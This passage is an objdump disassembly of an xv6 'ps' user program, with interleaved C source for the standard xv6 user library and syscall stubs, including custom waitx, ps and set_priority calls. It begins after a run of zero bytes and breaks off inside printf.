00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
_ps: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "types.h"
#include "stat.h"
#include "user.h"
#include "fcntl.h"
int main(void){
0: f3 0f 1e fb endbr32
4: 55 push %ebp
5: 89 e5 mov %esp,%ebp
7: 83 e4 f0 and $0xfffffff0,%esp
ps();
a: e8 1c 03 00 00 call 32b <ps>
exit();
f: e8 6f 02 00 00 call 283 <exit>
14: 66 90 xchg %ax,%ax
16: 66 90 xchg %ax,%ax
18: 66 90 xchg %ax,%ax
1a: 66 90 xchg %ax,%ax
1c: 66 90 xchg %ax,%ax
1e: 66 90 xchg %ax,%ax
00000020 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
20: f3 0f 1e fb endbr32
24: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
25: 31 c0 xor %eax,%eax
{
27: 89 e5 mov %esp,%ebp
29: 53 push %ebx
2a: 8b 4d 08 mov 0x8(%ebp),%ecx
2d: 8b 5d 0c mov 0xc(%ebp),%ebx
while((*s++ = *t++) != 0)
30: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
34: 88 14 01 mov %dl,(%ecx,%eax,1)
37: 83 c0 01 add $0x1,%eax
3a: 84 d2 test %dl,%dl
3c: 75 f2 jne 30 <strcpy+0x10>
;
return os;
}
3e: 89 c8 mov %ecx,%eax
40: 5b pop %ebx
41: 5d pop %ebp
42: c3 ret
43: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000050 <strcmp>:
int
strcmp(const char *p, const char *q)
{
50: f3 0f 1e fb endbr32
54: 55 push %ebp
55: 89 e5 mov %esp,%ebp
57: 53 push %ebx
58: 8b 4d 08 mov 0x8(%ebp),%ecx
5b: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
5e: 0f b6 01 movzbl (%ecx),%eax
61: 0f b6 1a movzbl (%edx),%ebx
64: 84 c0 test %al,%al
66: 75 19 jne 81 <strcmp+0x31>
68: eb 26 jmp 90 <strcmp+0x40>
6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
70: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
74: 83 c1 01 add $0x1,%ecx
77: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
7a: 0f b6 1a movzbl (%edx),%ebx
7d: 84 c0 test %al,%al
7f: 74 0f je 90 <strcmp+0x40>
81: 38 d8 cmp %bl,%al
83: 74 eb je 70 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
85: 29 d8 sub %ebx,%eax
}
87: 5b pop %ebx
88: 5d pop %ebp
89: c3 ret
8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
90: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
92: 29 d8 sub %ebx,%eax
}
94: 5b pop %ebx
95: 5d pop %ebp
96: c3 ret
97: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
9e: 66 90 xchg %ax,%ax
000000a0 <strlen>:
uint
strlen(const char *s)
{
a0: f3 0f 1e fb endbr32
a4: 55 push %ebp
a5: 89 e5 mov %esp,%ebp
a7: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
aa: 80 3a 00 cmpb $0x0,(%edx)
ad: 74 21 je d0 <strlen+0x30>
af: 31 c0 xor %eax,%eax
b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
b8: 83 c0 01 add $0x1,%eax
bb: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
bf: 89 c1 mov %eax,%ecx
c1: 75 f5 jne b8 <strlen+0x18>
;
return n;
}
c3: 89 c8 mov %ecx,%eax
c5: 5d pop %ebp
c6: c3 ret
c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ce: 66 90 xchg %ax,%ax
for(n = 0; s[n]; n++)
d0: 31 c9 xor %ecx,%ecx
}
d2: 5d pop %ebp
d3: 89 c8 mov %ecx,%eax
d5: c3 ret
d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
dd: 8d 76 00 lea 0x0(%esi),%esi
000000e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
e0: f3 0f 1e fb endbr32
e4: 55 push %ebp
e5: 89 e5 mov %esp,%ebp
e7: 57 push %edi
e8: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
eb: 8b 4d 10 mov 0x10(%ebp),%ecx
ee: 8b 45 0c mov 0xc(%ebp),%eax
f1: 89 d7 mov %edx,%edi
f3: fc cld
f4: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
f6: 89 d0 mov %edx,%eax
f8: 5f pop %edi
f9: 5d pop %ebp
fa: c3 ret
fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ff: 90 nop
00000100 <strchr>:
char*
strchr(const char *s, char c)
{
100: f3 0f 1e fb endbr32
104: 55 push %ebp
105: 89 e5 mov %esp,%ebp
107: 8b 45 08 mov 0x8(%ebp),%eax
10a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
10e: 0f b6 10 movzbl (%eax),%edx
111: 84 d2 test %dl,%dl
113: 75 16 jne 12b <strchr+0x2b>
115: eb 21 jmp 138 <strchr+0x38>
117: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
11e: 66 90 xchg %ax,%ax
120: 0f b6 50 01 movzbl 0x1(%eax),%edx
124: 83 c0 01 add $0x1,%eax
127: 84 d2 test %dl,%dl
129: 74 0d je 138 <strchr+0x38>
if(*s == c)
12b: 38 d1 cmp %dl,%cl
12d: 75 f1 jne 120 <strchr+0x20>
return (char*)s;
return 0;
}
12f: 5d pop %ebp
130: c3 ret
131: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
138: 31 c0 xor %eax,%eax
}
13a: 5d pop %ebp
13b: c3 ret
13c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000140 <gets>:
char*
gets(char *buf, int max)
{
140: f3 0f 1e fb endbr32
144: 55 push %ebp
145: 89 e5 mov %esp,%ebp
147: 57 push %edi
148: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
149: 31 f6 xor %esi,%esi
{
14b: 53 push %ebx
14c: 89 f3 mov %esi,%ebx
14e: 83 ec 1c sub $0x1c,%esp
151: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
154: eb 33 jmp 189 <gets+0x49>
156: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
15d: 8d 76 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
160: 83 ec 04 sub $0x4,%esp
163: 8d 45 e7 lea -0x19(%ebp),%eax
166: 6a 01 push $0x1
168: 50 push %eax
169: 6a 00 push $0x0
16b: e8 2b 01 00 00 call 29b <read>
if(cc < 1)
170: 83 c4 10 add $0x10,%esp
173: 85 c0 test %eax,%eax
175: 7e 1c jle 193 <gets+0x53>
break;
buf[i++] = c;
177: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
17b: 83 c7 01 add $0x1,%edi
17e: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
181: 3c 0a cmp $0xa,%al
183: 74 23 je 1a8 <gets+0x68>
185: 3c 0d cmp $0xd,%al
187: 74 1f je 1a8 <gets+0x68>
for(i=0; i+1 < max; ){
189: 83 c3 01 add $0x1,%ebx
18c: 89 fe mov %edi,%esi
18e: 3b 5d 0c cmp 0xc(%ebp),%ebx
191: 7c cd jl 160 <gets+0x20>
193: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
195: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
198: c6 03 00 movb $0x0,(%ebx)
}
19b: 8d 65 f4 lea -0xc(%ebp),%esp
19e: 5b pop %ebx
19f: 5e pop %esi
1a0: 5f pop %edi
1a1: 5d pop %ebp
1a2: c3 ret
1a3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1a7: 90 nop
1a8: 8b 75 08 mov 0x8(%ebp),%esi
1ab: 8b 45 08 mov 0x8(%ebp),%eax
1ae: 01 de add %ebx,%esi
1b0: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1b2: c6 03 00 movb $0x0,(%ebx)
}
1b5: 8d 65 f4 lea -0xc(%ebp),%esp
1b8: 5b pop %ebx
1b9: 5e pop %esi
1ba: 5f pop %edi
1bb: 5d pop %ebp
1bc: c3 ret
1bd: 8d 76 00 lea 0x0(%esi),%esi
000001c0 <stat>:
int
stat(const char *n, struct stat *st)
{
1c0: f3 0f 1e fb endbr32
1c4: 55 push %ebp
1c5: 89 e5 mov %esp,%ebp
1c7: 56 push %esi
1c8: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c9: 83 ec 08 sub $0x8,%esp
1cc: 6a 00 push $0x0
1ce: ff 75 08 pushl 0x8(%ebp)
1d1: e8 ed 00 00 00 call 2c3 <open>
if(fd < 0)
1d6: 83 c4 10 add $0x10,%esp
1d9: 85 c0 test %eax,%eax
1db: 78 2b js 208 <stat+0x48>
return -1;
r = fstat(fd, st);
1dd: 83 ec 08 sub $0x8,%esp
1e0: ff 75 0c pushl 0xc(%ebp)
1e3: 89 c3 mov %eax,%ebx
1e5: 50 push %eax
1e6: e8 f0 00 00 00 call 2db <fstat>
close(fd);
1eb: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
1ee: 89 c6 mov %eax,%esi
close(fd);
1f0: e8 b6 00 00 00 call 2ab <close>
return r;
1f5: 83 c4 10 add $0x10,%esp
}
1f8: 8d 65 f8 lea -0x8(%ebp),%esp
1fb: 89 f0 mov %esi,%eax
1fd: 5b pop %ebx
1fe: 5e pop %esi
1ff: 5d pop %ebp
200: c3 ret
201: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
208: be ff ff ff ff mov $0xffffffff,%esi
20d: eb e9 jmp 1f8 <stat+0x38>
20f: 90 nop
00000210 <atoi>:
int
atoi(const char *s)
{
210: f3 0f 1e fb endbr32
214: 55 push %ebp
215: 89 e5 mov %esp,%ebp
217: 53 push %ebx
218: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
21b: 0f be 02 movsbl (%edx),%eax
21e: 8d 48 d0 lea -0x30(%eax),%ecx
221: 80 f9 09 cmp $0x9,%cl
n = 0;
224: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
229: 77 1a ja 245 <atoi+0x35>
22b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
22f: 90 nop
n = n*10 + *s++ - '0';
230: 83 c2 01 add $0x1,%edx
233: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
236: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
23a: 0f be 02 movsbl (%edx),%eax
23d: 8d 58 d0 lea -0x30(%eax),%ebx
240: 80 fb 09 cmp $0x9,%bl
243: 76 eb jbe 230 <atoi+0x20>
return n;
}
245: 89 c8 mov %ecx,%eax
247: 5b pop %ebx
248: 5d pop %ebp
249: c3 ret
24a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000250 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
250: f3 0f 1e fb endbr32
254: 55 push %ebp
255: 89 e5 mov %esp,%ebp
257: 57 push %edi
258: 8b 45 10 mov 0x10(%ebp),%eax
25b: 8b 55 08 mov 0x8(%ebp),%edx
25e: 56 push %esi
25f: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
262: 85 c0 test %eax,%eax
264: 7e 0f jle 275 <memmove+0x25>
266: 01 d0 add %edx,%eax
dst = vdst;
268: 89 d7 mov %edx,%edi
26a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*dst++ = *src++;
270: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
271: 39 f8 cmp %edi,%eax
273: 75 fb jne 270 <memmove+0x20>
return vdst;
}
275: 5e pop %esi
276: 89 d0 mov %edx,%eax
278: 5f pop %edi
279: 5d pop %ebp
27a: c3 ret
0000027b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27b: b8 01 00 00 00 mov $0x1,%eax
280: cd 40 int $0x40
282: c3 ret
00000283 <exit>:
SYSCALL(exit)
283: b8 02 00 00 00 mov $0x2,%eax
288: cd 40 int $0x40
28a: c3 ret
0000028b <wait>:
SYSCALL(wait)
28b: b8 03 00 00 00 mov $0x3,%eax
290: cd 40 int $0x40
292: c3 ret
00000293 <pipe>:
SYSCALL(pipe)
293: b8 04 00 00 00 mov $0x4,%eax
298: cd 40 int $0x40
29a: c3 ret
0000029b <read>:
SYSCALL(read)
29b: b8 05 00 00 00 mov $0x5,%eax
2a0: cd 40 int $0x40
2a2: c3 ret
000002a3 <write>:
SYSCALL(write)
2a3: b8 10 00 00 00 mov $0x10,%eax
2a8: cd 40 int $0x40
2aa: c3 ret
000002ab <close>:
SYSCALL(close)
2ab: b8 15 00 00 00 mov $0x15,%eax
2b0: cd 40 int $0x40
2b2: c3 ret
000002b3 <kill>:
SYSCALL(kill)
2b3: b8 06 00 00 00 mov $0x6,%eax
2b8: cd 40 int $0x40
2ba: c3 ret
000002bb <exec>:
SYSCALL(exec)
2bb: b8 07 00 00 00 mov $0x7,%eax
2c0: cd 40 int $0x40
2c2: c3 ret
000002c3 <open>:
SYSCALL(open)
2c3: b8 0f 00 00 00 mov $0xf,%eax
2c8: cd 40 int $0x40
2ca: c3 ret
000002cb <mknod>:
SYSCALL(mknod)
2cb: b8 11 00 00 00 mov $0x11,%eax
2d0: cd 40 int $0x40
2d2: c3 ret
000002d3 <unlink>:
SYSCALL(unlink)
2d3: b8 12 00 00 00 mov $0x12,%eax
2d8: cd 40 int $0x40
2da: c3 ret
000002db <fstat>:
SYSCALL(fstat)
2db: b8 08 00 00 00 mov $0x8,%eax
2e0: cd 40 int $0x40
2e2: c3 ret
000002e3 <link>:
SYSCALL(link)
2e3: b8 13 00 00 00 mov $0x13,%eax
2e8: cd 40 int $0x40
2ea: c3 ret
000002eb <mkdir>:
SYSCALL(mkdir)
2eb: b8 14 00 00 00 mov $0x14,%eax
2f0: cd 40 int $0x40
2f2: c3 ret
000002f3 <chdir>:
SYSCALL(chdir)
2f3: b8 09 00 00 00 mov $0x9,%eax
2f8: cd 40 int $0x40
2fa: c3 ret
000002fb <dup>:
SYSCALL(dup)
2fb: b8 0a 00 00 00 mov $0xa,%eax
300: cd 40 int $0x40
302: c3 ret
00000303 <getpid>:
SYSCALL(getpid)
303: b8 0b 00 00 00 mov $0xb,%eax
308: cd 40 int $0x40
30a: c3 ret
0000030b <sbrk>:
SYSCALL(sbrk)
30b: b8 0c 00 00 00 mov $0xc,%eax
310: cd 40 int $0x40
312: c3 ret
00000313 <sleep>:
SYSCALL(sleep)
313: b8 0d 00 00 00 mov $0xd,%eax
318: cd 40 int $0x40
31a: c3 ret
0000031b <uptime>:
SYSCALL(uptime)
31b: b8 0e 00 00 00 mov $0xe,%eax
320: cd 40 int $0x40
322: c3 ret
00000323 <waitx>:
SYSCALL(waitx)
323: b8 16 00 00 00 mov $0x16,%eax
328: cd 40 int $0x40
32a: c3 ret
0000032b <ps>:
SYSCALL(ps)
32b: b8 17 00 00 00 mov $0x17,%eax
330: cd 40 int $0x40
332: c3 ret
00000333 <set_priority>:
333: b8 18 00 00 00 mov $0x18,%eax
338: cd 40 int $0x40
33a: c3 ret
33b: 66 90 xchg %ax,%ax
33d: 66 90 xchg %ax,%ax
33f: 90 nop
00000340 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
340: 55 push %ebp
341: 89 e5 mov %esp,%ebp
343: 57 push %edi
344: 56 push %esi
345: 53 push %ebx
346: 83 ec 3c sub $0x3c,%esp
349: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
34c: 89 d1 mov %edx,%ecx
{
34e: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
351: 85 d2 test %edx,%edx
353: 0f 89 7f 00 00 00 jns 3d8 <printint+0x98>
359: f6 45 08 01 testb $0x1,0x8(%ebp)
35d: 74 79 je 3d8 <printint+0x98>
neg = 1;
35f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
366: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
368: 31 db xor %ebx,%ebx
36a: 8d 75 d7 lea -0x29(%ebp),%esi
36d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
370: 89 c8 mov %ecx,%eax
372: 31 d2 xor %edx,%edx
374: 89 cf mov %ecx,%edi
376: f7 75 c4 divl -0x3c(%ebp)
379: 0f b6 92 60 07 00 00 movzbl 0x760(%edx),%edx
380: 89 45 c0 mov %eax,-0x40(%ebp)
383: 89 d8 mov %ebx,%eax
385: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
388: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
38b: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
38e: 39 7d c4 cmp %edi,-0x3c(%ebp)
391: 76 dd jbe 370 <printint+0x30>
if(neg)
393: 8b 4d bc mov -0x44(%ebp),%ecx
396: 85 c9 test %ecx,%ecx
398: 74 0c je 3a6 <printint+0x66>
buf[i++] = '-';
39a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
39f: 89 d8 mov %ebx,%eax
buf[i++] = '-';
3a1: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
3a6: 8b 7d b8 mov -0x48(%ebp),%edi
3a9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
3ad: eb 07 jmp 3b6 <printint+0x76>
3af: 90 nop
3b0: 0f b6 13 movzbl (%ebx),%edx
3b3: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
3b6: 83 ec 04 sub $0x4,%esp
3b9: 88 55 d7 mov %dl,-0x29(%ebp)
3bc: 6a 01 push $0x1
3be: 56 push %esi
3bf: 57 push %edi
3c0: e8 de fe ff ff call 2a3 <write>
while(--i >= 0)
3c5: 83 c4 10 add $0x10,%esp
3c8: 39 de cmp %ebx,%esi
3ca: 75 e4 jne 3b0 <printint+0x70>
putc(fd, buf[i]);
}
3cc: 8d 65 f4 lea -0xc(%ebp),%esp
3cf: 5b pop %ebx
3d0: 5e pop %esi
3d1: 5f pop %edi
3d2: 5d pop %ebp
3d3: c3 ret
3d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3d8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
3df: eb 87 jmp 368 <printint+0x28>
3e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3e8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3ef: 90 nop
000003f0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f0: f3 0f 1e fb endbr32
3f4: 55 push %ebp
3f5: 89 e5 mov %esp,%ebp
3f7: 57 push %edi
3f8: 56 push %esi
3f9: 53 push %ebx
3fa: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3fd: 8b 75 0c mov 0xc(%ebp),%esi
400: 0f b6 1e movzbl (%esi),%ebx
403: 84 db test %bl,%bl
405: 0f 84 b4 00 00 00 je 4bf <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
40b: 8d 45 10 lea 0x10(%ebp),%eax
40e: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
411: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
414: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
416: 89 45 d0 mov %eax,-0x30(%ebp)
419: eb 33 jmp 44e <printf+0x5e>
41b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
41f: 90 nop
420: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
423: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
428: 83 f8 25 cmp $0x25,%eax
42b: 74 17 je 444 <printf+0x54>
write(fd, &c, 1);
42d: 83 ec 04 sub $0x4,%esp
430: 88 5d e7 mov %bl,-0x19(%ebp)
433: 6a 01 push $0x1
435: 57 push %edi
436: ff 75 08 pushl 0x8(%ebp)
439: e8 65 fe ff ff call 2a3 <write>
43e: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
441: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
444: 0f b6 1e movzbl (%esi),%ebx
447: 83 c6 01 add $0x1,%esi
44a: 84 db test %bl,%bl
44c: 74 71 je 4bf <printf+0xcf>
c = fmt[i] & 0xff;
44e: 0f be cb movsbl %bl,%ecx
451: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
454: 85 d2 test %edx,%edx
456: 74 c8 je 420 <printf+0x30>
}
} else if(state == '%'){
458: 83 fa 25 cmp $0x25,%edx
45b: 75 e7 jne 444 <printf+0x54>
if(c == 'd'){
45d: 83 f8 64 cmp $0x64,%eax
460: 0f 84 9a 00 00 00 je 500 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
466: 81 e1 f7 00 00 00 and $0xf7,%ecx
46c: 83 f9 70 cmp $0x70,%ecx
46f: 74 5f je 4d0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
471: 83 f8 73 cmp $0x73,%eax
474: 0f 84 d6 00 00 00 je 550 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47a: 83 f8 63 cmp $0x63,%eax
47d: 0f 84 8d 00 00 00 je 510 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
483: 83 f8 25 cmp $0x25,%eax
486: 0f 84 b4 00 00 00 je 540 <printf+0x150>
write(fd, &c, 1);
48c: 83 ec 04 sub $0x4,%esp
48f: c6 45 e7 25 movb $0x25,-0x19(%ebp)
493: 6a 01 push $0x1
495: 57 push %edi
496: ff 75 08 pushl 0x8(%ebp)
499: e8 05 fe ff ff call 2a3 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
49e: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
4a1: 83 c4 0c add $0xc,%esp
4a4: 6a 01 push $0x1
4a6: 83 c6 01 add $0x1,%esi
4a9: 57 push %edi
4aa: ff 75 08 pushl 0x8(%ebp)
4ad: e8 f1 fd ff ff call 2a3 <write>
for(i = 0; fmt[i]; i++){
4b2: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
4b6: 83 c4 10 add $0x10,%esp
}
state = 0;
4b9: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
4bb: 84 db test %bl,%bl
4bd: 75 8f jne 44e <printf+0x5e>
}
}
}
4bf: 8d 65 f4 lea -0xc(%ebp),%esp
4c2: 5b pop %ebx
4c3: 5e pop %esi
4c4: 5f pop %edi
4c5: 5d pop %ebp
4c6: c3 ret
4c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4ce: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
4d0: 83 ec 0c sub $0xc,%esp
4d3: b9 10 00 00 00 mov $0x10,%ecx
4d8: 6a 00 push $0x0
4da: 8b 5d d0 mov -0x30(%ebp),%ebx
4dd: 8b 45 08 mov 0x8(%ebp),%eax
4e0: 8b 13 mov (%ebx),%edx
4e2: e8 59 fe ff ff call 340 <printint>
ap++;
4e7: 89 d8 mov %ebx,%eax
4e9: 83 c4 10 add $0x10,%esp
state = 0;
4ec: 31 d2 xor %edx,%edx
ap++;
4ee: 83 c0 04 add $0x4,%eax
4f1: 89 45 d0 mov %eax,-0x30(%ebp)
4f4: e9 4b ff ff ff jmp 444 <printf+0x54>
4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
500: 83 ec 0c sub $0xc,%esp
503: b9 0a 00 00 00 mov $0xa,%ecx
508: 6a 01 push $0x1
50a: eb ce jmp 4da <printf+0xea>
50c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
510: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
513: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
516: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
518: 6a 01 push $0x1
ap++;
51a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
51d: 57 push %edi
51e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
521: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
524: e8 7a fd ff ff call 2a3 <write>
ap++;
529: 89 5d d0 mov %ebx,-0x30(%ebp)
52c: 83 c4 10 add $0x10,%esp
state = 0;
52f: 31 d2 xor %edx,%edx
